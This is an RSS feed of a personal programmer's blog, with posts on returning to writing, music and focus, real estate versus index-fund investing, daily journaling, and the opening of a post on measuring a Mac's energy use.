<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Randall Degges</title><link>https://rdegges.com/</link><description>Recent content on Randall Degges</description><generator>Hugo</generator><language>en-us</language><managingEditor>r@rdegges.com (Randall Degges)</managingEditor><webMaster>r@rdegges.com (Randall Degges)</webMaster><lastBuildDate>Sat, 03 Aug 2024 00:00:00 -0700</lastBuildDate><atom:link href="https://rdegges.com/feed.xml" rel="self" type="application/rss+xml"/><item><title>I'm Writing Again</title><link>https://rdegges.com/2024/im-writing-again/</link><pubDate>Sat, 03 Aug 2024 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2024/im-writing-again/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2024/im-writing-again/grim-reaper-writing-sketch.jpeg" alt="Grim Reaper Writing Sketch" title="Grim Reaper Writing Sketch">
&lt;/p>
&lt;p>I can&amp;rsquo;t believe it&amp;rsquo;s been over two years since I last published an article here! Time really flies.&lt;/p>
&lt;p>The crazy part is that over these last two years, I&amp;rsquo;ve done more writing than ever; it just hasn&amp;rsquo;t been public.&lt;/p>
&lt;p>Several years back, I started a &lt;a href="https://rdegges.com/2022/journaling-the-best-habit-i-picked-up-in-2021" title="Journaling: The Best Habit I Picked Up In 2021">journaling habit&lt;/a>, and since then, most of my writing energy has been redirected from my website to my private journal.&lt;/p>
&lt;p>While writing in private feels liberating, as I can dump every little thought in my head into an archive, I find myself missing the more structured and thought-out articles I used to push myself to publish.&lt;/p>
&lt;p>There&amp;rsquo;s something magical about writing down your thoughts and sharing them with the world, even if nobody sees them. It forces you to rethink your position, clarify your thoughts, and distill the mess in your head into something direct and actionable.&lt;/p>
&lt;p>Over the last couple of years, I have missed that feeling, and the itch to continue writing has returned.&lt;/p>
&lt;p>All this is simply to say that I&amp;rsquo;m writing again. The title of my website has always been &amp;ldquo;Random Thoughts of a Happy Programmer,&amp;rdquo; so please stay tuned for more of my innermost thoughts and experiments.&lt;/p></description></item><item><title>Does Music Help You Focus?</title><link>https://rdegges.com/2022/does-music-help-you-focus/</link><pubDate>Mon, 04 Apr 2022 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2022/does-music-help-you-focus/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2022/does-music-help-you-focus/skull-music-sketch.png" alt="Skull Music Sketch" title="Skull Music Sketch">
&lt;/p>
&lt;p>I’ve always been the sort of person who works with music in the background. Ever since I was a little kid writing code in my bedroom, I’d routinely listen to my favorite music while programming.&lt;/p>
&lt;p>Over the last 12 years, as my responsibilities have shifted from purely writing code to writing articles, recording videos, and participating in meetings, my habits have changed. Out of necessity, I’m unable to work with music most of the time, but when I have an hour or so of uninterrupted time, I still prefer to put music on and use it to help me crank through whatever it is I’m focusing on.&lt;/p>
&lt;p>However, I’ve been doing some experimentation over the last few months. My goal was to determine how much music helped me focus. I didn’t have a precise scientific way of measuring this except to track whether or not I felt my &lt;a href="https://todoist.com/productivity-methods/pomodoro-technique">Pomodoro sessions&lt;/a> were productive.&lt;/p>
&lt;p>To keep score, I kept a simple Apple Notes file that contained a running tally of whether or not I felt my recently finished Pomodoro session was productive or not. And while this isn’t the most scientific way to measure, I figured it was good enough for my purposes.&lt;/p>
&lt;p>Over the last three months, I logged 120 completed Pomodoro sessions. Of those, roughly 50% (58 sessions) were completed while listening to music, and the other 50% (62 sessions) were completed without music.&lt;/p>
&lt;p>To my surprise, when tallying up the results, it appears that listening to music is a distraction for me, causing me to feel like my sessions weren’t very productive. Out of the 58 Pomodoro sessions I completed while listening to music, I noted that &lt;strong>~20%&lt;/strong> were productive (12 sessions) vs. &lt;strong>~60%&lt;/strong> (37 sessions) without music.&lt;/p>
&lt;p>&lt;strong>60%&lt;/strong> vs. &lt;strong>20%&lt;/strong> is a significant difference, which is especially surprising since I genuinely enjoy working with music. When I started this experiment, I expected that music would make me more, not less productive.&lt;/p>
&lt;p>So what’s the takeaway here? For me, it’s that despite how much I enjoy listening to music while working, it’s distracting.&lt;/p>
&lt;p>Am I going to give up listening to music while trying to focus? Not necessarily. As I mentioned previously, I still &lt;strong>love&lt;/strong> working with music. But, I’ll undoubtedly turn the music off if I’m trying to get something important done and need my time to be as productive as possible.&lt;/p>
&lt;p>In the future, I’m also planning to run this experiment separately to compare the impact of instrumental vs. non-instrumental music on my productivity. I typically listen to music with lyrics (hip-hop, pop, etc.), which makes me wonder if the lyrics are distracting or just the music itself.&lt;/p>
&lt;p>I’m also curious as to whether or not lyrics in a language I don’t understand would cause a similar level of distraction or not (for example, maybe I could listen to Spanish music without impacting my productivity since I don’t understand the language).&lt;/p>
&lt;p>Regardless of my results, please experiment for yourself! If you’re trying to maximize productivity, you might be surprised what things are impacting your focus levels.&lt;/p></description></item><item><title>Real Estate vs Stocks</title><link>https://rdegges.com/2022/real-estate-vs-stocks/</link><pubDate>Mon, 04 Apr 2022 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2022/real-estate-vs-stocks/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2022/real-estate-vs-stocks/home-sketch.jpg" alt="Home Sketch" title="Home Sketch">
&lt;/p>
&lt;p>As I&amp;rsquo;ve mentioned &lt;a href="https://www.rdegges.com/2020/my-personal-financial-strategy/">before&lt;/a>, I&amp;rsquo;m a bit of a personal finance nerd. I&amp;rsquo;ve been carefully tracking my spending and investing for many years now. In particular, I find the investing side of personal finance fascinating.&lt;/p>
&lt;p>For the last eight years, my wife and I have split our investments roughly 50/50 between broadly diversified index funds and real estate (rental properties).&lt;/p>
&lt;p>Earlier this week, I was discussing real estate investing with some friends, and we had a great conversation about why you might even consider investing in real estate in the first place. As I explained my strategy to them, I thought it might make for an interesting blog post (especially if you&amp;rsquo;re new to the world of investing).&lt;/p>
&lt;p>Please note that I&amp;rsquo;m not an expert, just an enthusiastic hobbyist. Like all things I work on, I like to do a lot of research, experimentation, etc., but don&amp;rsquo;t take this as financial advice.&lt;/p>
&lt;h2 id="why-invest-in-stocks">Why Invest in Stocks&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2022/real-estate-vs-stocks/investment-graph-sketch.jpg" alt="Investment Graph Sketch" title="Investment Graph Sketch">
&lt;/p>
&lt;p>Before discussing whether real estate or stocks is the better investment, let&amp;rsquo;s talk about how stocks work. If you don&amp;rsquo;t understand how to invest in stocks (and what rewards you can expect from them), the comparison between real estate and stocks will be meaningless.&lt;/p>
&lt;h3 id="what-is-a-stock">What is a Stock?&lt;/h3>
&lt;p>Stocks are the simplest form of investment you can make. If you buy one share of Tesla stock for $100, you&amp;rsquo;re purchasing one tiny sliver of the entire company and are now a part-owner!&lt;/p>
&lt;p>Each stock you hold can either earn or lose money, depending on how the company performs. For example, if Tesla doesn&amp;rsquo;t sell as many vehicles as the prior year, it&amp;rsquo;s likely that the company will not make as much money and will therefore be worth less than it was a year ago, so the value of the stock might drop. In this case, the one share of Tesla stock you purchased for $100 might only be worth $90 (a 10% drop in value!).&lt;/p>
&lt;p>But, stocks can also make you money. If Tesla sells more vehicles than anyone expected, the company might be worth more, and now your one share of Tesla stock might be worth $110 (a 10% gain!). This gain is referred to as &lt;strong>appreciation&lt;/strong> because the value of your stock has appreciated.&lt;/p>
&lt;p>In addition to appreciation, you can also make money through dividends. While some companies choose to take any profits they make and reinvest them into the business to make more products, conduct research, etc., some companies take their profits and split them up amongst their shareholders. We call this distribution a &lt;strong>dividend&lt;/strong>. When a dividend is paid, you&amp;rsquo;ll receive a set amount of money per share as a shareholder. For example, if Tesla issues a 10 cent dividend per share, you&amp;rsquo;ll receive $0.10 of spending money as the proud owner of one share of Tesla stock!&lt;/p>
&lt;p>But here&amp;rsquo;s the thing, investing in stocks is &lt;strong>RISKY&lt;/strong>. It&amp;rsquo;s risky because companies make mistakes, and even the most highly respected and valuable companies today can explode overnight and become worthless (Enron, anyone?). Because of this, generally speaking, it&amp;rsquo;s not advisable to ever buy individual stocks.&lt;/p>
&lt;p>Instead, the best way to invest in stocks is by purchasing index funds.&lt;/p>
&lt;h3 id="what-is-an-index-fund">What is an Index Fund?&lt;/h3>
&lt;p>Index funds are stocks you buy that are essentially collections of other stocks. If you invest in Vanguard&amp;rsquo;s popular &lt;a href="https://investor.vanguard.com/mutual-funds/profile/fees/vtsax">VTSAX&lt;/a> index fund, for example, you&amp;rsquo;re buying a small amount of all publicly traded companies in the US.&lt;/p>
&lt;p>This approach is much less risky than buying individual stocks because VTSAX is well-diversified. If any of the thousands of companies in the US goes out of business, it doesn&amp;rsquo;t matter to you because you only own a very tiny amount of it.&lt;/p>
&lt;p>The way index funds work is simple: if the value of the index as a whole does well (the US economy in our example), the value of your index fund rises. If the value of the index as a whole does poorly, the value of your index fund drops. Simple!&lt;/p>
&lt;h3 id="how-well-do-index-funds-perform">How Well Do Index Funds Perform?&lt;/h3>
&lt;p>Let&amp;rsquo;s say you invest your money into VTSAX and now own a small part of all US companies. How much money can you expect to make?&lt;/p>
&lt;p>While there&amp;rsquo;s no way to predict the future, what we can do is look at the past. By looking at the average return of the stock market since 1926 (when the first index was created), you can see that &lt;a href="https://www.nerdwallet.com/article/investing/average-stock-market-return">the average return of the largest US companies has been ~10% annually&lt;/a> (before inflation).&lt;/p>
&lt;p>If you were to invest in VTSAX over a long period of time, it&amp;rsquo;s historically likely that you&amp;rsquo;ll earn an average of 10% per year. And understanding that the US market averages 10% per year is exciting because if you invest a little bit of money each month into index funds, you&amp;rsquo;ll become quite wealthy.&lt;/p>
&lt;p>If you plug some numbers into a &lt;a href="http://www.moneychimp.com/calculator/compound_interest_calculator.htm">compound interest calculator&lt;/a>, you&amp;rsquo;ll see what I mean.&lt;/p>
&lt;p>For example, if you invest $1,000 per month into index funds for 30 years, you&amp;rsquo;ll end up with &lt;strong>$2,171,321.10&lt;/strong>. If you start working at 22, then by the time you&amp;rsquo;re 52, you&amp;rsquo;ll have over &lt;strong>two million dollars&lt;/strong>: not bad!&lt;/p>
&lt;h3 id="how-much-money-do-i-need-to-retire-if-i-invest-in-index-funds">How Much Money Do I Need to Retire if I Invest in Index Funds?&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2022/real-estate-vs-stocks/surfing-sketch.jpg" alt="Surfing Sketch" title="Surfing Sketch">
&lt;/p>
&lt;p>Now that you know how index funds work and how much they historically earn, you might be wondering: how much money do I need to invest in index funds before I can retire?&lt;/p>
&lt;p>As it turns out, there&amp;rsquo;s a simple answer to this question, but before I give you the answer, let&amp;rsquo;s talk about how this works.&lt;/p>
&lt;p>Imagine you have one million dollars invested in index funds that earn an average of 10% yearly. You could theoretically sell 10% of your index funds each year and never run out of money in this scenario. Or at least, this makes sense at first glance.&lt;/p>
&lt;p>Unfortunately, while it&amp;rsquo;s true that the market has returned a historical average of 10% yearly, this is an &lt;strong>average&lt;/strong>, and actual yearly returns vary significantly by year. For example, you might be up 30% one year down 40% the next.&lt;/p>
&lt;p>This unpredictability year-over-year makes it difficult to safely withdraw money each year without running out of money due to &lt;a href="https://www.investopedia.com/terms/s/sequence-risk.asp">sequence of return risk&lt;/a>.&lt;/p>
&lt;p>Essentially, while it&amp;rsquo;s likely that you&amp;rsquo;ll earn 10% per year on average if you invest in a US index fund, you will likely run out of money if you sell 10% of your portfolio per year due to fluctuating returns each year.&lt;/p>
&lt;p>Luckily, a lot of research has been done on this topic, and the general consensus is that if you only withdraw 4% of your investments per year, you&amp;rsquo;ll have enough money to last you a long time (a 30-year retirement). This is known as &lt;a href="https://www.investopedia.com/terms/f/four-percent-rule.asp">the 4% rule&lt;/a> and is the gold standard for retirement planning.&lt;/p>
&lt;p>Using the 4% rule as a baseline, you can quickly determine how much money you need to invest to retire with your desired spending.&lt;/p>
&lt;p>For example, let&amp;rsquo;s say you want to retire and live off $100k per year. In this case, $100k is 4% of $2.5m, so you&amp;rsquo;ll need at least $2.5m invested to retire safely.&lt;/p>
&lt;p>&lt;strong>PRO TIP&lt;/strong>: You can easily calculate how much you need invested to retire if you simply take your desired yearly spend and multiply it by 25. For example, $40k * 25 = $1m, $100k * 25 = $2.5m, etc.&lt;/p>
&lt;p>By only withdrawing 4% of your total portfolio per year, it&amp;rsquo;s historically likely that you&amp;rsquo;ll never run out of money over 30 years. Need a longer retirement? You may want to aim for a 3.5% withdrawal rate (or lower).&lt;/p>
&lt;h3 id="should-i-invest-in-index-funds">Should I Invest in Index Funds?&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2022/real-estate-vs-stocks/curious-stick-figure-sketch.jpg" alt="Curious Stick Figure Sketch" title="Curious Stick Figure Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;m a big fan of index fund investing, which is why my wife and I put 50% of our money into index funds.&lt;/p>
&lt;ul>
&lt;li>Index funds are simple to purchase and sell (you can do it instantly using an investment broker like &lt;a href="https://investor.vanguard.com/corporate-portal/">Vanguard&lt;/a>) in seconds&lt;/li>
&lt;li>Index funds have an excellent historical track record (10% average yearly returns is fantastic!)&lt;/li>
&lt;li>Index funds are often tax-advantaged (they are easy to purchase through a company 401k plan, IRA, or other tax-sheltered accounts)&lt;/li>
&lt;/ul>
&lt;h2 id="why-invest-in-real-estate">Why Invest in Real Estate?&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2022/real-estate-vs-stocks/architecture-diagram-sketch.jpg" alt="Architecture Diagram Sketch" title="Architecture Diagram Sketch">
&lt;/p>
&lt;p>Now that we&amp;rsquo;ve discussed index funds, how they work, what returns you can expect if you invest in index funds, and how much money you need to invest to retire using index funds, we can finally talk about real estate.&lt;/p>
&lt;h3 id="what-qualifies-as-a-real-estate-investment">What Qualifies as a Real Estate Investment?&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2022/real-estate-vs-stocks/apartment-building-sketch.jpg" alt="Apartment Building Sketch" title="Apartment Building Sketch">
&lt;/p>
&lt;p>Like stocks and other types of securities, there are multiple ways to invest in real estate. I&amp;rsquo;m going to cover the most basic form of real estate investing here, but know that there are many other ways to invest in real estate that I won&amp;rsquo;t cover today due to how complex it can become.&lt;/p>
&lt;p>At a basic level, investing in real estate means you&amp;rsquo;re purchasing a property: a house, condo, apartment building, piece of land, commercial building, etc.&lt;/p>
&lt;h3 id="how-do-real-estate-investors-make-money">How Do Real Estate Investors Make Money?&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2022/real-estate-vs-stocks/high-rise-sketch.jpg" alt="High Rise Sketch" title="High Rise Sketch">
&lt;/p>
&lt;p>There are many ways to make money through investing in real estate. Again, I&amp;rsquo;m only going to cover the most straightforward ways here due to the topic&amp;rsquo;s complexities.&lt;/p>
&lt;p>Let&amp;rsquo;s say you own an investment property. The typical ways you might make money from this investment are:&lt;/p>
&lt;ul>
&lt;li>Renting the property out for a profit&lt;/li>
&lt;li>Owning the property as its value rises over time. For example, if you purchased a house ten years ago for $100k worth $200k today, you&amp;rsquo;ve essentially “earned” $100k in profit, even if you haven&amp;rsquo;t yet sold the property. This is called &lt;strong>appreciation&lt;/strong>.&lt;/li>
&lt;/ul>
&lt;p>Simple, right?&lt;/p>
&lt;h3 id="whats-one-major-difference-between-index-funds-and-real-estate">What&amp;rsquo;s One Major Difference Between Index Funds and Real Estate?&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2022/real-estate-vs-stocks/leverage-sketch.png" alt="Leverage Sketch" title="Leverage Sketch">
&lt;/p>
&lt;p>One of the most significant differences between real estate investing and index fund investing is &lt;strong>leverage&lt;/strong>.&lt;/p>
&lt;p>When you invest in an index fund like VTSAX, you&amp;rsquo;re buying a little bit of the index using your own money directly. This means if you purchase $100k of index funds and earn 10% on your money, you&amp;rsquo;ll have $110k of investments.&lt;/p>
&lt;p>On the other hand, real estate is often purchased using leverage (aka: bank loans). It&amp;rsquo;s common to buy an investment property and only put 20-25% of your own money into the investment while seeking a mortgage from a bank to cover the remaining 75-80%.&lt;/p>
&lt;p>The benefit of using leverage is that you can stretch your money further. For example, let&amp;rsquo;s say you have $100k to invest. You could put this $100k into VTSAX or purchase one property worth $500k (20% down on a $500k property means you only need $100k as a down payment).&lt;/p>
&lt;p>Imagine these two scenarios:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Scenario 1&lt;/strong>: You invest $100k in VTSAX and earn precisely 10% per year&lt;/li>
&lt;li>&lt;strong>Scenario 2&lt;/strong>: You put a $100k down payment on a $500k property that you rent out for a profit of $500 per month after expenses (we call this &lt;strong>cash flow&lt;/strong>), and this property appreciates at a rate of 6% per year. Also, assume that you can secure a 30-year fixed-rate loan for the remaining $400k at a 4.5% interest rate.&lt;/li>
&lt;/ul>
&lt;p>After ten years, in Scenario 1, you&amp;rsquo;ll have &lt;strong>$259,374.25&lt;/strong>. Not bad! That&amp;rsquo;s a total profit of &lt;strong>$159,374.25&lt;/strong>.&lt;/p>
&lt;p>But what will you have after ten years in Scenario 2?&lt;/p>
&lt;p>In Scenario 2, you&amp;rsquo;ll have:&lt;/p>
&lt;ul>
&lt;li>A property whose value has increased from $500k to &lt;strong>$895,423.85&lt;/strong> (an increase of &lt;strong>$395,423.85&lt;/strong>)&lt;/li>
&lt;li>Cash flow of $60k&lt;/li>
&lt;li>A total remaining mortgage balance of &lt;strong>$320,357.74&lt;/strong> (a decrease of &lt;strong>$79,642.26&lt;/strong>)&lt;/li>
&lt;/ul>
&lt;p>If you add these benefits up, in Scenario 2, you&amp;rsquo;ve essentially ballooned your original $100k investment into a total gain of &lt;strong>$535,066.11&lt;/strong>. That&amp;rsquo;s three times the gain you would have gotten had you simply invested your $100k into VTSAX!&lt;/p>
&lt;p>There are a lot of variables at play here, but you get the general idea. While investing in index funds is profitable and straightforward, if you&amp;rsquo;re willing to learn the business and put in the work, you can often make higher returns through real estate investing over the long haul.&lt;/p>
&lt;h3 id="how-difficult-is-real-estate-investing">How Difficult is Real Estate Investing?&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2022/real-estate-vs-stocks/boss-sketch.jpg" alt="Boss Sketch" title="Boss Sketch">
&lt;/p>
&lt;p>Real estate investing is complicated. It requires a lot of knowledge, effort, and ongoing work to run a successful real estate investing operation. Among other things, you need to know:&lt;/p>
&lt;ul>
&lt;li>How much a potential investment property will rent for&lt;/li>
&lt;li>How much a potential investment property will appreciate&lt;/li>
&lt;li>What sort of mortgage rates you can secure&lt;/li>
&lt;li>What your expenses will be each month&lt;/li>
&lt;li>How much property taxes will cost&lt;/li>
&lt;li>How much insurance will cost&lt;/li>
&lt;li>Etc.&lt;/li>
&lt;/ul>
&lt;p>All of the items above are variables that can dramatically impact whether or not a particular property is a good or bad investment. And this doesn&amp;rsquo;t even begin to account for the other things you need to do on an ongoing basis: manage the property, manage your accounts/taxes, follow all relevant laws, etc.&lt;/p>
&lt;p>In short: investing in real estate is not simple and requires a lot of knowledge to do successfully. But, if you&amp;rsquo;re interested in running a real estate business, it can be a fun and profitable venture.&lt;/p>
&lt;h2 id="how-we-invest-in-real-estate">How We Invest in Real Estate&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2022/real-estate-vs-stocks/fancy-house-sketch.jpg" alt="Fancy House Sketch" title="Fancy House Sketch">
&lt;/p>
&lt;p>As I mentioned earlier, my wife and I split our investable assets 50/50 between index funds and real estate. The reason we do this is twofold:&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s easy (and safe) for us to invest money in index funds&lt;/li>
&lt;li>It&amp;rsquo;s hard for us to invest in real estate (it took a lot of time and research to get started), but we generally earn greater returns on our real estate investments than we do on our index investments&lt;/li>
&lt;/ul>
&lt;p>Our real-estate investing criteria are pretty simple.&lt;/p>
&lt;ul>
&lt;li>We only purchase residential real estate that we rent out to long-term tenants. We do this because it&amp;rsquo;s relatively low-risk, low-maintenance, and straightforward.&lt;/li>
&lt;li>We only purchase rental properties that generate a cash-on-cash return of &lt;strong>8%&lt;/strong> or greater. For example, if we buy a $200k property with a $40k downpayment, we need to earn $3,200 per year in profit ($3,200 is 8% of $40k) for the deal to make sense.&lt;/li>
&lt;li>We don&amp;rsquo;t factor appreciation into our investment calculations as we plan to hold these rental properties long-term and never sell them. The rising value of the rental properties we acquire isn&amp;rsquo;t as beneficial to us as is the cash flow.&lt;/li>
&lt;li>Over time, the properties pay themselves off, and once they&amp;rsquo;re free and clear, we&amp;rsquo;ll have a much larger monthly profit.&lt;/li>
&lt;/ul>
&lt;p>Why did we choose an 8% cash-on-cash return as our target metric for rental property purchases? In short, it&amp;rsquo;s because that 8% is roughly twice the safe withdrawal rate of our index funds.&lt;/p>
&lt;p>I figured early on that if I was going to invest a ton of time and energy into learning about real estate investing, hunting down opportunities, etc., I&amp;rsquo;d have to make it worthwhile by at least doubling the safe withdrawal rate of our index funds. Otherwise, I could simply invest our money into VTSAX and never think about taking on extra work or risk.&lt;/p>
&lt;p>Today, my wife and I own a small portfolio of single-family homes that we rent out to long-term tenants, each earning roughly 8% cash-on-cash return yearly.&lt;/p>
&lt;h2 id="should-i-invest-in-stocks-or-real-estate">Should I Invest in Stocks or Real Estate?&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2022/real-estate-vs-stocks/why-not-both.jpg" alt="Why Not Both?" title="Why Not Both?">
&lt;/p>
&lt;p>As you&amp;rsquo;ve seen by now, there isn&amp;rsquo;t a clear answer here. To sum it up:&lt;/p>
&lt;ul>
&lt;li>If you&amp;rsquo;re looking for the most straightforward path to retirement, invest your money in well-diversified index funds like VTSAX. Index funds will allow you to retire with a 4% safe withdrawal rate and slowly build your wealth over time.&lt;/li>
&lt;li>If you&amp;rsquo;re interested in real estate and are willing to put in the time and effort to learn about it, you can potentially make greater returns, but it&amp;rsquo;s a lot of work.&lt;/li>
&lt;li>Or, if you&amp;rsquo;re like me, why not both? This way, you get the best of both worlds: a bit of simple, reliable index investments and a bit of riskier, more complex, and more rewarding real estate investments.&lt;/li>
&lt;/ul></description></item><item><title>Journaling: The Best Habit I Picked Up in 2021</title><link>https://rdegges.com/2022/journaling-the-best-habit-i-picked-up-in-2021/</link><pubDate>Mon, 28 Feb 2022 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2022/journaling-the-best-habit-i-picked-up-in-2021/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2022/journaling-the-best-habit-i-picked-up-in-2021/writing-sketch.png" alt="Writing Sketch" title="Writing Sketch">
&lt;/p>
&lt;p>2021 was a challenging year in many ways. Other than the global pandemic, many things changed in my life (some good, some bad), and it was a somewhat stressful year.&lt;/p>
&lt;p>In March of 2021, I almost died due to a gastrointestinal bleed (a freak accident caused by a routine procedure). Luckily, I survived the incident due to my amazing wife calling 911 at the right time and the fantastic paramedics and doctors at my local hospital, but it was a terrifying ordeal.&lt;/p>
&lt;p>While I was in recovery, I spent a lot of time thinking about what I wanted to do when feeling better. How I wanted to spend the limited time I have left. There are lots of things I want to spend my time doing: working on meaningful projects, having fun experiences with family and friends, going on camping and hiking trips, writing, etc.&lt;/p>
&lt;p>The process of thinking through everything I wanted to do was, in and of itself, incredibly cathartic. The more time I spent reflecting on my thoughts and life, the better I felt. There&amp;rsquo;s something magical about taking dedicated time out of your day to write about your thoughts and consider the big questions seriously.&lt;/p>
&lt;p>Without thinking much about it, I found myself journaling every day.&lt;/p>
&lt;p>It&amp;rsquo;s been just about a year since I first started journaling, and since then, I&amp;rsquo;ve written almost every day with few exceptions. In this time, journaling has made a tremendous impact on my life, mood, and relationships. Journaling has quickly become the most impactful of all the habits I&amp;rsquo;ve developed over the years.&lt;/p>
&lt;h2 id="benefits-of-journaling">Benefits of Journaling&lt;/h2>
&lt;p>There are numerous reasons to journal, but these are the primary benefits I&amp;rsquo;ve personally noticed after a year of journaling.&lt;/p>
&lt;p>&lt;strong>Journaling helps clear your mind.&lt;/strong>&lt;/p>
&lt;p>I have a noisy inner monologue, and throughout the day, I&amp;rsquo;m constantly being interrupted by ideas, questions, and concerns. When I take a few minutes each day to write these thoughts down and think through them, it puts my brain at ease and allows me to relax and get them off my mind.&lt;/p>
&lt;p>&lt;strong>Journaling helps put things in perspective.&lt;/strong>&lt;/p>
&lt;p>I&amp;rsquo;ve often found myself upset or frustrated about something, only to realize later in the day while writing about how insignificant the problem is. The practice of writing things down brings a certain level of rationality to your thoughts that aren&amp;rsquo;t always immediately apparent.&lt;/p>
&lt;p>I often discover that even the &amp;ldquo;big&amp;rdquo; problems in my life have obvious solutions I would never have noticed had I not journaled about them.&lt;/p>
&lt;p>&lt;strong>Journaling preserves memories.&lt;/strong>&lt;/p>
&lt;p>My memory is terrible. If you asked me what I did last month, I&amp;rsquo;d have absolutely no idea.&lt;/p>
&lt;p>Before starting a journal, the only way I could reflect on memories was to look through photos. The only problem with this is that often, while I can remember bits and pieces of what was going on at the time, I can&amp;rsquo;t remember everything.&lt;/p>
&lt;p>As I&amp;rsquo;m writing my daily journal entry, I&amp;rsquo;ll include any relevant photos and jot down some context around them &amp;ndash; I&amp;rsquo;ve found that by looking back through these entries with both pictures &lt;em>and&lt;/em> stories, it allows me to recall &lt;em>everything&lt;/em>.&lt;/p>
&lt;p>And… As vain as it is, I hope that someday I&amp;rsquo;ll be able to pass these journals along to family members so that, if they&amp;rsquo;re interested, they can get an idea of what sort of person I was, what I did, and the types of things I thought about.&lt;/p>
&lt;p>&lt;strong>Journaling helps keep your goals on track.&lt;/strong>&lt;/p>
&lt;p>It&amp;rsquo;s really easy to set a personal goal and forget about it &amp;ndash; I&amp;rsquo;ve done it hundreds of times. But, by writing every day, I&amp;rsquo;ve found myself sticking to my goals more than ever.&lt;/p>
&lt;p>I think this boils down to focus. It would be hard for me to journal every day &lt;em>without&lt;/em> writing about my goals and how I&amp;rsquo;m doing, and that little bit of extra focus and attention goes a long way towards helping me keep myself honest.&lt;/p>
&lt;p>&lt;strong>It&amp;rsquo;s fun!&lt;/strong>&lt;/p>
&lt;p>When I started journaling last year, I didn&amp;rsquo;t intend to do it every day. It just sort of happened.&lt;/p>
&lt;p>Each day I found myself wanting to write down some thought or idea, and the more I did it, the more I enjoyed it. Over time, I noticed that I found myself missing it on the few occasions I didn&amp;rsquo;t journal.&lt;/p>
&lt;p>Now, a year in, I look forward to writing a small journal entry every day. It&amp;rsquo;s part of my wind-down routine at night, and I love it.&lt;/p>
&lt;h2 id="keeping-a-digital-and-physical-journal">Keeping a Digital and Physical Journal&lt;/h2>
&lt;p>Initially, when I started keeping a journal, I had a few simple goals:&lt;/p>
&lt;ul>
&lt;li>I wanted to be able to quickly write (and ideally include photos) in my journal&lt;/li>
&lt;li>I wanted it to be easy to write on any device (phone, laptop, iPad, etc.)&lt;/li>
&lt;li>I wanted some way to physically print my journal each year so that I could have a physical book to look back at any time I want &amp;ndash; as well as to preserve the memories as digital stuff tends to disappear eventually&lt;/li>
&lt;/ul>
&lt;p>With these requirements in mind, I did a lot of research, looking for a suitable solution. I looked at various journaling services and simple alternatives (physical journals, Google Docs, Apple Notes, etc.).&lt;/p>
&lt;p>In the end, I decided to start using the &lt;a href="https://dayoneapp.com/">Day One Mac app&lt;/a> (works on all Apple devices). I cannot recommend it highly enough if you&amp;rsquo;re an Apple user.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I have no affiliation whatsoever with the Day One app. But it&amp;rsquo;s incredible.&lt;/p>
&lt;p>The Day One app looks beautiful, syncs your journals privately using iCloud, lets you embed photos (and metadata) into entries in a stylish and simple way, makes it incredibly easy to have multiple journals (by topic), track down any entries you&amp;rsquo;ve previously created, and a whole lot more.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2022/journaling-the-best-habit-i-picked-up-in-2021/day-one-app.png" alt="Day One App" title="Day One App">
&lt;/p>
&lt;p>For me, the ultimate feature is the ability to easily create a &lt;strong>beautiful&lt;/strong> looking physical journal whenever I want. Here&amp;rsquo;s a picture of my journal from 2021.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2022/journaling-the-best-habit-i-picked-up-in-2021/my-journal.png" alt="My Journal" title="My Journal">
&lt;/p>
&lt;p>It&amp;rsquo;s a bound book with high-quality photos, layouts, etc. It looks &lt;strong>astounding&lt;/strong>. You can customize the book&amp;rsquo;s cover, include select entries, and make a ton of other customizations I won&amp;rsquo;t expand on here.&lt;/p>
&lt;p>So, my recommendation is that if you&amp;rsquo;re going to start a journal and want to print it out eventually, use the &lt;a href="https://dayoneapp.com/">Day One app&lt;/a> &amp;ndash; it&amp;rsquo;s been absolutely 10/10 incredible.&lt;/p></description></item><item><title>How to Calculate the Energy Consumption of a Mac</title><link>https://rdegges.com/2022/how-to-calculate-the-energy-consumption-of-a-mac/</link><pubDate>Sun, 30 Jan 2022 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2022/how-to-calculate-the-energy-consumption-of-a-mac/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2022/how-to-calculate-the-energy-consumption-of-a-mac/macbook-sketch.png" alt="Macbook Sketch" title="Macbook Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;m a bit of a sustainability nerd. I love the idea of living a life where your carbon footprint is neutral (or negative) and you leave the world a better place than it was before you got here.&lt;/p>
&lt;p>While it&amp;rsquo;s clear that there&amp;rsquo;s only &lt;a href="https://www.epa.gov/ghgemissions/sources-greenhouse-gas-emissions">so much impact&lt;/a> an individual can have on carbon emissions, I like the idea of working to minimize my personal carbon footprint. This is a big part of the reason why I live in a home with solar power, drive an electric vehicle, and try to avoid single-use plastics as much as possible.&lt;/p>
